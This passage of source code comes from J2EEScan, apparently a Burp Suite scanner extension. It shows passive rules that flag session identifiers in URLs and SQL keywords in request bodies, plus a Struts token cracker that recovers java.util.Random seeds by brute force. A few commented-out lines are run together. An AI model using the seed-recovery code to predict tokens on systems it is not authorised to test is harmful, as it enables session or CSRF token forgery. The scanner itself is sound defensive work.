38 | IExtensionHelpers helpers = callbacks.getHelpers();
39 |
40 | URL curURL = reqInfo.getUrl();
41 |
42 | /**
43 | * session identifiers in URL (path parameter)
44 | * Improved detection for session identifiers
45 | */
46 | for (String identifier : SESSIONIDs) {
47 |
48 | if (curURL.toString().contains(identifier)) {
49 | callbacks.addScanIssue(new CustomScanIssue(
50 | baseRequestResponse.getHttpService(),
51 | reqInfo.getUrl(),
52 | baseRequestResponse,
53 | "Session Token in Query Fragment",
54 | "J2EEScan identified session identifiers in the URLs; these information may be logged in various locations,"
55 | + "including the user's browser, the web server, and any forward or reverse proxy servers between the "
56 | + "two endpoints. "
57 | + "URLs may also be displayed on-screen, bookmarked or emailed around by users. "
58 | + "They may be disclosed to third parties via the Referer header when any off-site links are followed. "
59 | + "Placing session tokens into the URL increases the risk that they will be captured by an attacker.",
60 | "Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or"
61 | + " reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. "
62 | + "They may be disclosed to third parties via the Referer header when any off-site links are followed. "
63 | + "Placing session tokens into the URL increases the risk that they will be captured by an attacker.",
64 | Risk.Medium,
65 | Confidence.Firm
66 | ));
67 | }
68 | }
69 |
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/SqlQueryRule.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive;
2 |
3 |
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IResponseInfo;
9 | import burp.j2ee.Confidence;
10 | import burp.j2ee.CustomScanIssue;
11 | import burp.j2ee.Risk;
12 |
13 | import java.util.ArrayList;
14 | import java.util.List;
15 | import java.util.regex.Matcher;
16 | import java.util.regex.Pattern;
17 |
18 | public class SqlQueryRule implements PassiveRule {
19 |
20 |
21 | private static final List SQL_QUERIES_RE = new ArrayList();
22 | static {
23 | SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
24 | SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
25 | }
26 |
27 | @Override
28 | public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
29 | String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
30 | String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
31 |
32 | IExtensionHelpers helpers = callbacks.getHelpers();
33 |
34 | /**
35 | * SQL statements in URL
36 | *
37 | * Improved detection for SQL statements in HTTP POST requests.
38 | */
39 | if (reqBody != null) {
40 |
41 | // check the pattern on response reqBody
42 | for (Pattern sqlQueryRule : SQL_QUERIES_RE) {
43 |
44 | Matcher matcher = sqlQueryRule.matcher(helpers.urlDecode(reqBody));
45 |
46 | if (matcher.find()) {
47 | callbacks.addScanIssue(new CustomScanIssue(
48 | baseRequestResponse.getHttpService(),
49 | reqInfo.getUrl(),
50 | baseRequestResponse,
51 | "SQL Statements in HTTP Request",
52 | "J2EEScan potentially identified SQL statements in HTTP POST requests. "
53 | + "If SQL queries are passed from client to server in HTTP requests, a malicious user "
54 | + "could be able to alter the SQL statement executed on the remote database.",
55 | "Analyse the issue and modify the application behaviour, removing the SQL queries from the HTTP requests.",
56 | Risk.Medium,
57 | Confidence.Tentative
58 | ));
59 | }
60 | }
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/strutstoken/ReplayRandom.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive.strutstoken;
2 |
3 | import java.util.concurrent.atomic.AtomicLong;
4 |
5 | public class ReplayRandom {
6 | private final AtomicLong seed;
7 |
8 | private static final long multiplier = 0x5DEECE66DL;
9 | private static final long addend = 0xBL;
10 | private static final long mask = (1L << 48) - 1;
11 |
12 | public ReplayRandom(long seed) {
13 | this.seed = new AtomicLong();
14 | this.seed.set(seed);
15 | }
16 |
17 | protected int next(int bits) {
18 | long oldseed, nextseed;
19 | AtomicLong seed = this.seed;
20 | do {
21 | oldseed = seed.get();
22 | nextseed = (oldseed * multiplier + addend) & mask;
23 | } while (!seed.compareAndSet(oldseed, nextseed));
24 | return (int)(nextseed >>> (48 - bits));
25 | }
26 |
27 | public int nextInt() {
28 | return next(32);
29 | }
30 |
31 | public long nextLong() {
32 | // it's okay that the bottom word remains signed.
33 | return ((long)(next(32)) << 32) + next(32);
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/passive/strutstoken/StrutsTokenCracker.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.passive.strutstoken;
2 |
3 | import java.math.BigInteger;
4 | import java.nio.ByteBuffer;
5 | import java.nio.ByteOrder;
6 | import java.nio.IntBuffer;
7 |
8 | /**
9 | * Recover seed from Random instance base on a single Struts token.
10 | * @author Philippe Arteau
11 | */
12 | public class StrutsTokenCracker {
13 |
14 | //Constants used to reproduce Java LCG PRNG
15 | private static final long multiplier = 0x5DEECE66DL;
16 | private static final long addend = 0xBL;
17 | private static final long mask = (1L << 48) - 1;
18 |
19 | /**
20 | * The guessing game can start ...
21 | * @param token
22 | */
23 | public static boolean testToken(String token) {
24 | //System.out.println("== bytes representation (reconstructed byte array)");
25 | int[] tokenInts = bytesToInt(bigIntToByte(token));
26 | /*for(int i=0;ijava.util.Random#nextBytes(byte[])
62 | */
63 | public static int reverseByteOrder(long value) {
64 | int reverseValue = 0x00000000;
65 | //Many
66 | reverseValue |= value << 24 & 0xFF000000;
67 | reverseValue |= value << 8 & 0xFF0000;
68 | reverseValue |= value >> 8 & 0xFF00;
69 | reverseValue |= value >> 24 & 0xFF;
70 |
71 | return reverseValue;
72 | }
73 |
74 | //PRNG Brute Force
75 |
76 | /**
77 | * Guessing the unknown 16 bits of the seed.. (base on two int)
78 | * Taken from : https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
79 | */
80 | private static long findSeed(long v1, long v2) {
81 | //Important to remove the four 0xFF in case the initial int were negative
82 | v1 = v1 & 0xFFFFFFFFL;
83 | v2 = v2 & 0xFFFFFFFFL;
84 |
85 | //Brute for the 16 bit that is unknown (48 bits seed - 32 bits return value = 16 bits)
86 | for (int i = 0; i < 0x10000; i++) {
87 | long seed = (v1 << 16) + i;
88 | if ((((seed * multiplier + addend) & mask) >>> 16) == v2) {
89 | //System.out.println("Seed found: " + seed);
90 | return seed;
91 | }
92 | }
93 | //throw new RuntimeException("Not Found");
94 | //System.err.println("Seed Not Found. :(");
95 | return -1;
96 | }
97 |
98 | }
99 |
--------------------------------------------------------------------------------